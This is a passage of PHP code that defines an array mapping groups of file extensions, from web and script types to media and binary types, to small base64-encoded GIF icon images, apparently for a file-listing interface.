array('html','htm','xhtml','xht','xml','mht','mhtml','shtml','dtd','chm','xhtm'),'lhEAAQANUlAICCfJmZmSdRjfDTg01LOfDn2Ni8dauik8a3oMe/sz1urFlZWSUvPShSjbu+wU6GzM7OzoN2QIN2QbjJuJ6ulbmzrHWgx/bw6mtvdLWfYOjTsU2GzO7fxd7e3h88ZbuqkBUsQjxtrFhYWDAwMP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAACUALAAAAAAQABAAAAaywJKwtBAZj8ahctFpNiuigEgpZJKupAuGJKUqPFEsBsIdCRWSAWUT8jhIAAyGYFZMOBxDBiAAOS4dFQBmDRwXGgMZIW0YHYAVIw0PhgMGIWweIAkXBR8jHhYWAwEWG5ggFQWdnxuhBmwhApmpHJ4lAq0beiIeDBgHeLYgiyEZEQQMIAAfHBq2JSAeAiIEBMoHCRrOZkMg3iIHBwjaGhncQiIJFR8ICB/vGeZKIiP19vcjQQA7', + array('php','phtml','php3','php4','php5','php6','phtm','phps'),'lhEAAQANUAAH5/wIB/wVRUVYuLya6tpH2Bvn19v6io0ZycnIyMxqmpqYCAvoSFwZaWwJ2dznp5v0JDQSorKhISEsLDwXd5vuTm8+Hg5ZGSkTg5NDIxMYB/wIuNi5SUx1BQUayttrW1wH57wIiGhYiIh4aGxMC+4ZeXmKKfn6SlrJ+foXJwu7e3z5iYxHh3v7693vj69qysqqqprqyqq6Cfyq+ur8TE1bu8xk9PTnx8v2FiYXR1aYODfX+AwICAwYCAv////4CAwCH5BAAAAAAALAAAAAAQABAAAAaxwEDvF9Dwdj3eIrDj/Z6/XWCR3O2evQA0Srw6ecesE6v9GR8UA0+z+I2b1l5PReOANHjoOjDov3IkFAV9AAZRPA0xCAcoGTMOK4oyCQAAAwoSAiGYAiKcOjQAPAMINj4RGx2nqacfBpYoEBYQFxAuGbUWGDWvlxIYHic4FgImvzA0BnwlEBUMCQcpLQjNIw9SIxMEBxQADzwB2gcsPEM9HA4MAFvo6lsGN+vv8Vv19ltBADs=', + array('asp','asphtml'),'lhEAAQAOYAAAAAAP////7+/v39/fz8/Pv7+/r6+vn5+fj4+Pf39/b29vX19fT09PPz8/Ly8vHx8fDw8O/v7+3t7enp6eXl5ePj4+Hh4d7e3tvb29ra2tnZ2dfX19bW1tPT09HR0c/Pz83NzczMzMrKysnJycfHx8TExMPDw8DAwL6+vr29vby8vLq6urm5ubW1tbGxsa6urq2trampqaenp6ampqOjo6KioqGhoaCgoJycnJqampeXl5aWlpWVlZGRkYyMjIuLi4iIiIaGhoWFhYKCgn9/f35+fnx8fHh4eHZ2dnR0dHJycm5ubmlpaWRkZF9fX1lZWVhYWFdXV01NTUxMTElJSUVFRUREREBAQD4+Pjs7Ozk5OTg4ODU1NTQ0NDIyMjAwMC4uLi0tLSwsLCsrKyoqKikpKSgoKCQkJCMjIyIiIh8fHx4eHh0dHRwcHBoaGhkZGRgYGBcXFxYWFhMTExEREQ8PDwwMDAkJCQgICAcHBwYGBgEBAf///wAAAAAAAAAAACH5BAEAAHwALAAAAAAQABAAAAf8gAgDBwYFBQEJBAIFggEFBAwRCocCCYgPBAUCAwMCHzUtIyMmISIqOxwJCIQFKEU6Li4/PzcvMBgBuY4VHjpbPiApUFxCEz9JRDsPDgFGAFEFQnoAeUdlAAB1QAsGVgBmGF5yNlVLcGY+dGIDF2hteCxqcEM5G3NUEWFvAStyQQA0lGDbgqPNHCwApgjgoacJACQWnGgBAEeOnjVZVARIgg3AFyEyWpzZAyALCQ0FGHQhQ4QNtjtM7IABcGVAAAYW3OTYGOeJGgBpaoyRAsGQhBcZEHSYQeFEjw4DYpQgcADBggACDggIYCBXplyJBDRIwGAQgUEGBhQ6pCoQADs=', + array('aspx','armx','asax','ashx','asmx','axd'),'lhEAAQAKIFAP///4Kj1cfS6CBHnV5/vv///wAAAAAAACH5BAEAAAUALAAAAAAQABAAAANXWLTcrUGIQOK0gRIBwOwdB1Je6FVc5AUeJwKqKrXrCwoEOOZg4w0DHY0AHCyADuNCUATOABVTJ1CcDD7ECbOJG2R0kSK0+yUat8ENMcODpZrw+KAglxcSADs=', + array('txt','ans','asc','rtf','doc','dot','mcw','docx','dotx','log'),'lhEAAQANU+ALq6uvz8+7i4uPv7+uDh476+vvj39vj39/r6+fz7+/b19Pn49/Pz9vr5+fn4+LW1teXl6PXz8/v6+fv6+rOzs/X09LGxsfz7+vf19fTy8p2dnfn5+IaGhvf29djY2q2trff29pCQkPr5+KysrPb29uDf3/Py8ebl5fr6+vb19by8vP38/MXFxfPy8vP08/Lw8PPx8fLy8r29vf38+/X087+/v/Tz87u7u8rKyv7+/f39/MDAwHl5ecjW4P///wAAACH5BAEAAD4ALAAAAAAQABAAAAaWQJ9vt2MQjcUdSsjcJQoeHTRQwAFcTF9tQIDoujkCi3SLMWWIQSKg0+VyAIEAwFSJEJML2507lehCAD2DhIU9AkwCBgsbDXkBK3yIQg+Glg9MFCkdi40SAwEzOhRMFpaGFkwfERUKnAcODZ8JH0wjp4UjTBotGawKGCCwdxpMIbiEIUwcLzAmGTY0wMILHEw82Nna2T5BADs=', + array('jsp','jar','j','jad','jav','java','jsp10','class'),'lhEAAQAOYAAAAAAP///6/A0M7X31l5k1t7lV19l159ll9+l26NpnaQpXSNoomhtZCnuomer5asv5+1yJusuqy9zKqwtUhmfFl6lFh5k1Zyh1ZxhV15jmiGnWeEm2yHm3uUqIKbr4egtIier4edromerqu7x7C9x9Xa3j1cck9sgWSAlGB5i6azvLC9xrfCytjb3bbCyeCwgOh1DOl6E+l+GuSCJOuFJuqEJumKM+yOOOi0guq4ie27jOi9lOvRuvDZxP39/fz8/Pv7+/r6+vn5+ff39/b29vX19fT09PPz8/Dw8O/v7+7u7u3t7ezs7Orq6unp6ejo6Ofn5+bm5uXl5eTk5OPj4+Li4uHh4eDg4N/f397e3t3d3dzc3Nvb29nZ2djY2NbW1tXV1dTU1P///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAGIALAAAAAAQABAAAAffgAMCEISFhoQCAxIlRUOOj0aPRSUSD0s/Ppk+P0Y9QZk/Sw8NTECmQEFHOjdFp0wNDE5Cs0JIOTRJPEWzTgweUETBRzsyUDg1R8FQHh1TR89IMdHSSM9THQtWSNtMNlYwTExUUUpWCxxZS05aWlkzL1lUCiJVWxwoW01RFQYaBRUaIuwD4QVFhi5QqFBh4cLFChItvCBwACbDhS9TplzZYIGAhQ1XDoS4EubCCS5QsGzpwrJlFylQuJyggOXJiA8JcupM0IQJFgoYJjyBQrSo0SYTMKhIYaKp06dNU6gIBAA7', + array('cfm','cfml','cfc'),'lhFAAUAMQAABRBY1uOsmmfvlSEqBtHaWSauj1sjlyStu7y8kV1mTRihJawwmeMpUt8oH6Zqtzk6WyRqyZSdM3a4/j6+sDP2q3Bz+Xs7ll8lIKjt3eZtEdxjnKNpFuDnwAAAAAAAAAAACH5BAAAAAAALAAAAAAUABQAAAXH4FEUQimMxXEEQzs0TUKaJaqyLZzIdJ2uuFdMNvP9grodyhYI5pIGlTSwkFgemOQuYTA0m4PK5EGRLAYQBoPD7boGmQlFmMgg7o+Lwp0TQ2ANBnELHAwaBgoKgAkUFgNbBhATDhF7iQpbjBaBO5EIDxIVl5idCxMQe4gMCBULDgqVEV2IHAgSHAaHqwwRsb2ziA4WtlgXExu9yZWjERcYrl0OBsoRBKOJyQS92tsE3tTg3d7eAOHV4+gA6gDo7ePr8OwE8fT1IQA7', + array('png','gif','jpg','jpeg','bmp','ico','jfif','mng','nitf','pbm','pcx','pgm','pict','tga','tiff','tif','xbm','psd','jpx','jp2','rle','dib','rle','dcm','fxg','psb','iff','pxr','pdd','dds'),'lhEAAQANU/AMfY2PPz80eJbtX8/+z//7vE2HbX/zeH1om7zqSkpLDO9bPg/5bR/y9qbaurq56enuL9/y5smvz8/FGCo1Wmi/n5+cHy/+7u7tr//yNaL2mog0R8oZ/K2CdSZHaYsIjB2GK1/7CwsIy77G+w0sP7/0yR2XKn3IK/vcXc/0FrY3K//3CwrhtATluHjT18XH6y5pzGz1qt/8/n6TiDwUmAWV2Z1HGijXSilODf2cz0/0GJwuvr67KyspmZmf///////yH5BAEAAD8ALAAAAAAQABAAAAamwJ9wSCwaj0SecslsKn3QqFT6PFivhxHnw4H5eCFfSQWKkRkkAsHw8YVCEg4EslgwGBbIwIKQhBwVMgMEPgM5FhYDAz4AFQ6ALTcYBBiLlJWNDgkVKTQaCBA+aoSMFQkJARmqNAIaFCsjJzI4AacXLB0dDbsCLgICFDcBDw8XETM6NTUmJi8iCigFF8Q7EREbGxPaEx7dHjsPPTvj5OXlPejp6uvoQQA7', + array('vbs','js','scpt','sh','bsh','pl','pn','pm','plx','tcl','ps1','mrc','as','py','pyc','pyw','ps','ncf','asa','csh','cgi','jsfl','json','au3','awk','applescript','aut','nsi','rpy','wsf'),'lhEAAQAOYAAAAAAP///yIiIykpKigoKTAwMS8vMC0tLioqKzw8PTs7PDY2NzQ0NVRUVVJSU1FRUk1NTktLTEdHSEJCQ1FSU0xNTklKSzEyMi8wMC4vLzo7O1RVVVJTU0tMTENEREBBQT9AQAIDAhwcGyoqKWNjYoyMjIqKiomJiYGBgYCAgHl5eXh4eHFxcWxsbGhoaGVlZWNjY15eXl1dXVlZWVdXV1RUVFNTU0xMTEtLS0lJSUhISEZGRkVFRURERENDQ0JCQkFBQT8/Pzw8PDs7Ozk5OTg4ODc3NzY2NjMzMzExMSoqKikpKSQkJCMjIyEhIR4eHh0dHRwcHBsbGxISEhERERAQEA4ODgkJCQYGBgUFBQICAv///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAFsALAAAAAAQABAAAAeqgFuCg4SFhQ4PDRuLHBAVG4UWMy0rKiorLDQ3TCCENiQnJaIlJi41TjuEETMora0pMg8UhRI5MTEyMrc4HYYeQzAvwi8wQhKGH0tGRUbLRiMThgpSPDk6Ojk8IgmGR1dVU1RUU1VXC4YXWUjMy0hYF4YHWgD09SEYhAw/Ojw9/j1AMmQxQIiIkCA+Evr4IUSDlQKEmiiJ8qRiRShJMggohICAx48EBhwgFAgAOw==', + array('css','css1'),'lhEAAQAMQAAAAAAP///xw2hyA7jCVCkSpJlzBRnTZZpDxhqkFosEZvtUp0uk14vTBvw+zy+vD1/Dd2xz99y0mF0FKO1FyW2WSd3Wuk4e70++3z+rjU8e/1+////wAAAAAAAAAAAAAAACH5BAEAABsALAAAAAAQABAAAAVh4CaOZGmeaEoybOu+25LNdE0vm2LtfM8rm0Sl8ngMi0djYoOgaCjQZxRKQWwOk8tkm+VqJ4eNQYKRmM1ltMSwKUQiDgdcPn8XNgSIfs/fEzYDDYKDhIMDGwKJiouMKo6OIQA7', + array('rb','rbx','rhtml'),'lhEAAQAOYAAAAAAP///4wMDYsMDfuqSv2eRfLAmPiFOPO5kvS+mvB2Mex4OfNvLutkJvFqL+ZpNOhYIelYIuhWI+NWJelkNOOSdeKUduWWePSfgeSXe+JNH+JRH9tNHuSMcOSNcuKPddRFHt1OJvGJbfKLb9tDG9Q/HNp8Y96Ca8UxE9k8G9xBINJDIs9IKtVmUOJ3Yd15Y9x3Y/CGcPSOd/SOePOQevmUf/eSfviUf+B0YvGKdvOMeM1KOM9ZSdBQQbYUCrETC7UWDbAYEMFEPcppY45cWdealqkTDJsQDKATDawaFKAXE6UaFZwZFct2cooNDJUQDooNDYwODpIQD44PD4oREZcYFZEYFnAsLOXY2Pz6+v39/fHx8fDw8O/v7+7u7u3t7ezs7Ovr6+rq6unp6ejo6Ofn5+bm5uXl5eDg4KGhoZ6enpqampWVlZCQkIqKioSEhH19fXd3d3BwcGpqamNjY15eXlhYWFRUVFBQUP///wAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAHkALAAAAAAQABAAAAfZgHl5aYSFhoKIeWpajI2MamqJeWtaZGVlZmdnWmFra4lsWmNklphaZ2FsbIhtWmJjo5ZaaKhtbYJunGFir2SOWm6Cb1lFQkA+Q1ixZVpvgkQ/PTkvJjtNvLBacIJBODUzGhQZSWG7YlpxeUYuNjIrGwsfS19g5VpyeTw3OiwoHA8WlHj5Qk/LHCQ0YoSIMEGCigtMungZqIXOERggGhxwQCJFhSpcukjUUufJCQUECjCAUMKDlS1cQmqxI6UFghEiMCQw0MGKowB38kyJIsDJACgDqFzBw7RpIAA7', + array('pdf'),'lhEAAQANU+APj4+Pf39+LHyq18hs50ev7+/qqAiolobbR+h76+vq2Ci7GBivn5+ckABeO4u9aJjbItNYiIiLtMVOjo6IUYI3BBTap1fMsmNuzc3pcADObm5pQOG8HBwfDn6M6Kj8ycouvT1Kk9SPDw8IAADrAdJqVMVs7Ozrp5gbqKkOLN0LcACOCFh8mZmtyqrKJCTeHh4e/v78rKyuTk5PHx8fLy8tQnOKdDTncVH/z8/PX19bQhMJiBhqMeK////////wAAACH5BAEAAD4ALAAAAAAQABAAAAaqQJ+QZysabS4BQMg8TWRQmWZi6il9l5p2q73IEj0rQEcum1/gXgDFa7vfL07kMKfc7vg75SWLJWIWTAcxhDEsDQQwMDM0CEwWMi+SLQ0rM4w5jkIDiooiDSA0NDmZTAOXlw4qD6Q5AQumoqMQDyQSBAQOsJutHhkQtzwZNrs+BgEdIRtKAQAMGDgKTAYMJSMfDDjaOAUF0kIGOBgp291hPd8+FTvs7e47FUEAOw==', + array('exe','xbe','xex','elf','xpi','pef','nlm','o','app'),'lhEAAQANU1APX19fHx8fj4+Pv7++7u7vPz8/b29uzs7Gd4kfz8/PT09Pr6+vn5+f39/UyQj+jo6EeElenp6UN7mFCXi1iiglKaiVSdhztpoE6UjUmJk+vr6+/v7z1unmCtdmSxcubm5j5xnUF4mkWAll6qeVyofFqlflaghEqMkV2pevDw8ER9l+fn5+3t7UB0m/f39+rq6v7+/tPZ4MrMzf///4+Sl////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAADUALAAAAAAQABAAAAaAwJpwSCzWaMikcomMOZ9PREyKQMqu2GwWOet6YbDGgGFQBLgXTksCAYvJlzNtBgqJMo5GFqDacNknGBUJCwICAAUTBFx4ExYUA1kBKAdcgiYlI2QKZhsHL1yPJB0eLlksGg9cMzCEh4gpBBoRK6uthYgBBAcRDx9MwEpGw8TFQkEAOw==', + array('ini','inf'),'lhEAAQANU/APT09PTy8ry8vK2trfz8+/v7+uru8ri4uLq6uuDh4/Pz9vr6+fz7+76+vvv6+fLy8vj399jY2uXl6JKltZuyx/b19Pz7+rnN4Pr5+Pf29sbV34aGhvn4+J2dnaS90YSdtPTz9Pf19f39/vX08/r5+ZCQkPn49/Px8crKyvf5+rKyssXFxfP08+bl5Zawx7W1tfr6+uDf3/v6+oeesf38/Pj3+Pb19aa+0Imht/7+/f39/MDAwHl5eXKHmsjW4P///yH5BAEAAD8ALAAAAAAQABAAAAatwN9vt1MQjcUdTMjcMRoRHZTQQCFYzF+jkJDournEKiN4MAWLAoOg0+VyiMMBccYsZBa2O9eK0YU9PoGBPoWGB0IGN4o3OD55NHuIPYs9lh4uhIYvPykGPQAVEDg9NQ4FBJEqP5Q9Gho+pJqFqz83PScPFaQgHCSnDAOsExc4xhQzsz7CPxcTlj0fFDYZEBx2HUIig4KG3iVMGycnAQEgIxUh1SYbTDzv8PHwP0EAOw==', + array('bat','cmd','nt','ncf','com','pif'),'lhEAAQANU/AKW7zP39/Wd2jXGMpMjp/OP//4SatYmkutP9/1h1lPLy89v9//b29vj4+d3k7PDw8Pr6+qjE2MHe8PX19ZufqPr7/Pf4+LrO4T9hgvLx8ev//9Ph6pq4z3ehw/f39/n6+vb19ZCwxx1Xkfr5+fHy8fHy8vPz8+Lq8PLx8mRpgLbr/1iNvKGqu9v1+4qVpfP087HT6LPY7vn5+WF9m/n6+fTz8/j///X29fz8/PT09IOw1ShbkdDW3f///4+Sl////yH5BAEAAD8ALAAAAAAQABAAAAaowJ9wSCz+fMikconkOZ9PAU8qQPauHMfOEZHJLB7GxNrbIXo222XXCE9y1tAZgEkVLgkQKGeynnoUAzIXAy0bN3x9PgE7BRQ4EBkzEjsTNSYoSAEOCwsCMgAHMCwvJgoZmgYwBQQHIRIROgkrJKg+OBU7BhoqrTo7FQkdD0iQMhQxOy4ACRU6wSVIECMWFgwgpb8VIjrEPh9tHm85CiWy3d5M6khG7UNBADs=', + array('wmv','avi','swf','flv','f4v','3gp','asf','mov','mpg','rm','mp4'),'lhEAAQAOYAAAAAAP///7RUhI5ZdIZhkl5adjtASEdOVztBSEVMVFZeZ3R+iUVvm0ZOVkdOVUhPVm95g3F7hWZveHN9h2JqcmBqc3WAimJrc2Zvd2hxeTyZ6XJ9hkh2mGFrc3iEjXeDjHaCi2lze11mbV9ob12o22NtdGJsc3eDi213fh2q+kJ8njSGskez7U6En2CPp0uy5HXE6HSToIfA1XGgsmB2fmmbqGKXonLU4nLP3v///v7+/f39/Pz8+/v7+vr6+fr5+Pn49/j39vb19PX08/Py8ff19fb09PXz8/Ty8vPx8fLw8P/+/vz7+/j39/f29vb19fTz8/Py8uDf3/7+/v39/fb29srKysTExL+/v76+vry8vLu7u7m5ubi4uLe3t7S0tLKysrCwsKysrKurq5ycnI+Pj4WFhXh4eP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAGgALAAAAAAQABAAAAfPgGhoWISFhVmCiYNMPDs7Ojo8OlZdimhZPYyOkDpXVZWJWj6ZjY86XF5eXIlbPx4eHbEVCighUquCXEAeUzU4ODc2OSE6XoleQR4nMTIyMC4hGcWJX04fOgMCAgQFSxg6X4lgTyAWDw4OCQgSJTtgiWFGFlQrKSkaDFMXPGGJYkcLNrR48YKFChMUmIhJNAbJBCo0ZswgwWHKiB5jEpGJEgHCgY8NDIwQ4YNMojJJiCA5MkRIESdNgPwok8iMkpRIoLR8GdNMojNAgwoNiiYQADs=', + array('mp3','aac','aif','m3u','midi','mid','mpa','ra','wav','wma'),'lhEAAQAOYAAAAAAP///4mm18rc7k2Y3Nzo8yGD12Kj2Gum2rHP6Ad4zcnd7Ad4ys3i8N/s9QKC1DSa2Vyw5+vz+ACN4RKV3zOTy9Xo8wCM0QOa6RCLzEKk1IvN8Nzq8eLv9gCe6YnE3pDI4p7O5ACe4Tqm0lnE8p7S58Le6gCX0gSj4C2hy/P39/7+/f39/Pz8+/v7+vr6+fn5+P38+/z7+vv6+fr5+Pn49/j39vf29fb19PX08/Py8ff19fb09PXz8/Ty8vPx8fLw8P38/Pz7+/v6+vr5+fn4+Pj39/f29vb19fX09PTz8/Py8ubl5eDf3/b29srKysTExL+/v76+vry8vLu7u7m5ubi4uLe3t7S0tLKysrCwsKysrKurq5ycnI+Pj4WFhXh4eP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAGEALAAAAAAQABAAAAfEgGFhUYSFhVKCiYNCLSwsKystK09WimFSLoyOkCtQTpWJUy+ZjY8rVVdXVYlUNC9DMg4IBZBMTauCVTWuQx0PJJsrV4lXNjUwRBIRKCWmw4JYR8YwFgcfGUGPWIlZSDfGKikzBi0xLFmJWjzeDRsjAwouLS1aiVs9SQQUHhAJAjOZtiTi4qMHBhETGCwo4soFl0RdlviocOKChiNGGL7oksjLDx0mQoDgsAPjLi+JvgD56ENJDhwljdT4kgiMzZs4b4YJBAA7', + array('c','h'),'lhEAAQAOYAAAAAAP////z8/v7+//n6/t3k9+/y+/X3/fr7/vn6/efs+erv++zw+r3N8MPS8sXT8tLd9dni99ni9tvk+OLp+ebs+ubs+eXr+Onu+e/z/MrY88zZ9M7b9Nrj9tzl99ri8uDo+Ozx++/z+/T3/fv8/tLe9Nbh9tDb79fi9t7n+Nvj8uLq+ebt+ufs9aOxx+Xr9ejt9fX4/ZWjuKSzyZmnvKe2zMHP40JroDRIYjVJY4ulyHmKoJOit5WkuZyrwKu70am5z6SzyJ2swLLC2K+/1a6+1LnI3MjU5LrF1O/0+wE5fSFSjyJTjzJfl0NsoHeVuoGdwYWgwoiiw4ehwoeiwpGqyniKoaCwxLvK3crW5Pj7/vz9/uzx9f7///7+/v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAF8ALAAAAAAQABAAAAeigF9fQ4SFRUAzLoKLgwGOj10+ODuMX0SPjgMkPUg4Vow/mAMCCTw5p4w1j1hSUy1JPKaMQY5PTFROTQsWPDiMV15cSlkEL1AqK72MQltGSggHGQwXBcqLNFpHSjAjIR8gKNaCMjEHTFExVUonJeJfPCIGNjdKSzoRG+48GBYVLAoUOnB4oI9CigkSTEDQ4KCBPg+xIkr0tagXjosYM1bayDEQADs=', + array('cpp','cxx','hxx','hpp','cc','jxx','c++','vcproj'),'lhEAAQAPcAAAAAAP////v7/vz8/v7+//39/vn6/vj5/eLo+Ovv+vH0/PT2/NLc9eDn+MbM2+jt+unu+tnd58HQ8cLR8cjV88rX883Z9NDb9dXf9drj97zE1b/H2OPq+erv+u/z/O7y+7zN8MXU8sbV8qOvxqCsw8vY887b9K+5zdHd9NPe9dji97fA0tnj993m+Nzl9+Do+PT3/fP2/Pj6/vf5/fv8/vf4+qWxx6u2y6q1yqizyNXh9rO9z9rk99ji9d7n+NLY49rf6OLm7aOxx7C7zbfB0ubt+e3y+uns8aSzyZ6rvrvF1LjBz/n7/jRIYjVJYztOaDxPaKnD5XmKoLHE3ZOit5alupaluZyrwKm5z7LC2K6+1LjH29rl9Ovw9wBOrg1Ysg5XsiBluS9uvDBvvTJxvjZzvjh1vzh2vz96wWuZ0DtPaEFUbEJVbYit2UlbcpGz3JW23Zm536bC43iKobDH5LPK57TL58ra7t/o8+bu+Ofr8GCSzG6c0X6m1LXM5sTX7MbY7dvn9Nzn8+Dn7+nv9v3+//z9/v7///7+/v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAIkALAAAAAAQABAAAAjgABMJTJSloEEtWJAIGThwS4CHEA9daSKFYaJBEB8SoFFFiZM5AvGk6RMHYiEBB5KwUeMk0Z8vYMZ4eRMA0AAmM+4EiQAl0R4vXWq0kUPACw0DB7zEALIm0Rk0AfQg4uKlKtWqU9wkMiMmwJFABQx5mQFjgZcPP5ry8WKHEJkwMup46PAgygsHTxIJKlPVCxwFCTj4yNADBZEmA+n4yaMAAgIeOhhYoDAE8cAlRoo0YIHhQgkRE3BYFmiFQwsVKUxUCCEBhI3Riai42KBhxY4TN3KMIAGbSpPfwIPDtkg8UUAAOw==', + array('cs','c#=','csproj','csx'),'lhEAAQAOYAAAAAAP////z8/v39/u/y+/r7/vn6/dri9t7l9+Dn+OTq+ebr+Orv++nu+vb4/cHQ8cLR8cfV88rX88zY9NHc9eLp+eXr+ebs+bzN8MXU8s3a887b9NPe9dji99ji9t3m+Nzl99/n9+ju+vT3/dPf9dXh9trk99/o+Oju+e3y++zv9JOhtaSzyZyqvqeyws7U3dXb5OLm7PP1+DRIYjVJY2Byimh5kYKRpYiXrJOit5WkuZyrwKm5z6SzyLLC2LDA1q6+1LrF1O/0+3GDmniKoXmLonyNovT2+PP19/7//+Lt597r4Orz68rfy8/i0K7OrwCZAACVAACUAAGVAQKWAgSXBAaYBgeZBwiZCBmjGXjJeJ7Ynt/s3+Ds4OLu4vv9+////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAGAALAAAAAAQABAAAAezgGCCg4SFhD6IiUA8LD2GPgGRkkk7M0WFP5IBVlwDOkEzRIKRKpFYXFJYAjk0rYJdWVBeXlJVUE0GQjmsYAFQXUdaV1RMUlQODBc5M71QATKRVFNSSwQWJ8u9WV1IW1dRT1NKCyEH2WBdULJfVU4jIggeJOe9MQUwLy43QzY1GvRgcqRooCCBiRIUJkQAmANFixU4jPCrAYFhhQ8dOGyQkOEBBoYgdokcyWzQshkoU6oEEwgAOw==', + array('asm'),'lhEAAQAOYAAAAAAP////z8/v7+//39/vz8/fr7/uzu88PR8cbU8tXf9rzE1b/H2N7m+OPq+eLp+Obs+evw++Pm7bzN8L7P8aOvxqCsw8rY89Dc9K+5zdXg9rfA0tzl9+Do+O/z+/P2/Ofq8Pf5/fDy9u/x9fv8/vr7/aWxx6u2y6izyLO9z9rk9uHp+PD0+7/I19rf5/X4/aSzybvF1MfQ3c3U3vL2/Pn7/vL09/Hz9jRIYjVJYztOaDxPaGd2i6S72pOit5alupaluZyrwKm5z7LC2K6+1L7H0+3w9DJfl0Z1sUd2sUFUbElbcpOuz5ey1Ki/2qrA26m/2qzB26q7z7C8y6qzvuLp8nuKmunt8e7x9PL09vz9/v3+/v7+/v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAF0ALAAAAAAQABAAAAewgF2CQ4SFREIwgoqDXI2OXEE4i4yPjT8xOZNSlY1FVFY8izIBpKVbBTcSO11IR11XUUdHAbKyTUZKXQFMRyNHTwNbRwNHWkciS11JsjZPR04CRwRHJMe5R1VHWQNQRzXF1EcHOsqyWLI9IeEGRyCSijMlBDQsNC8eHxEu74JT9RAPVjhQ0UBBC35dgHRQoQHDhQQIKEwwgdAHBwYLNqTIcAJFBQsVcYgcSRLhpJOCAgEAOw==', + array('dll','so','lib','sys','drv','cpl','ocx','scr'),'lhEAAQAOYAAAAAAP///wEXNihAXFh0kihbkc/i9fr7/Jqvwq/D1YOw1a/F2KzD1bPV6dbw/9vy/930/9ru9dbo7/f4+P7+/f39/Pz8+/v7+vr6+f38+/r5+Pn49/j39vf29fb19PX08/Py8ff19fb09PXz8/Ty8vPx8fLw8P38/Pz7+/r5+fj39/f29vb19fX09PTz8/Py8ubl5eDf3/b29srKysXFxcDAwL+/v729vby8vLq6urm5ubi4uLW1tbOzs7Gxsa2traysrJ2dnZCQkIaGhnl5ef///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAEUALAAAAAAQABAAAAe/gEVFNYSFhTaCiYMoFhUVFBQWFDM6ikU2F4yOkBQ0MpWJNxiZjY8UOTs7OYk4GhgoDAULE5AwMauCORsoBRUPDwUUpjuJOxwMFQ0DDgYLw4k8KwUPAikJEQUnjzyJPSwMvwgSCgQKGRU9iT4iLAUQDwoFBwUKFj6JPyMtHrEEBwoHCKD4kQgICX0eOsSbp+ACkERBXhzcF4KcAldBEgkpAeLgBw8hVqjYoEFIoiEmOJJw8THkyCGJiMicSXNmkUAAOw==', + 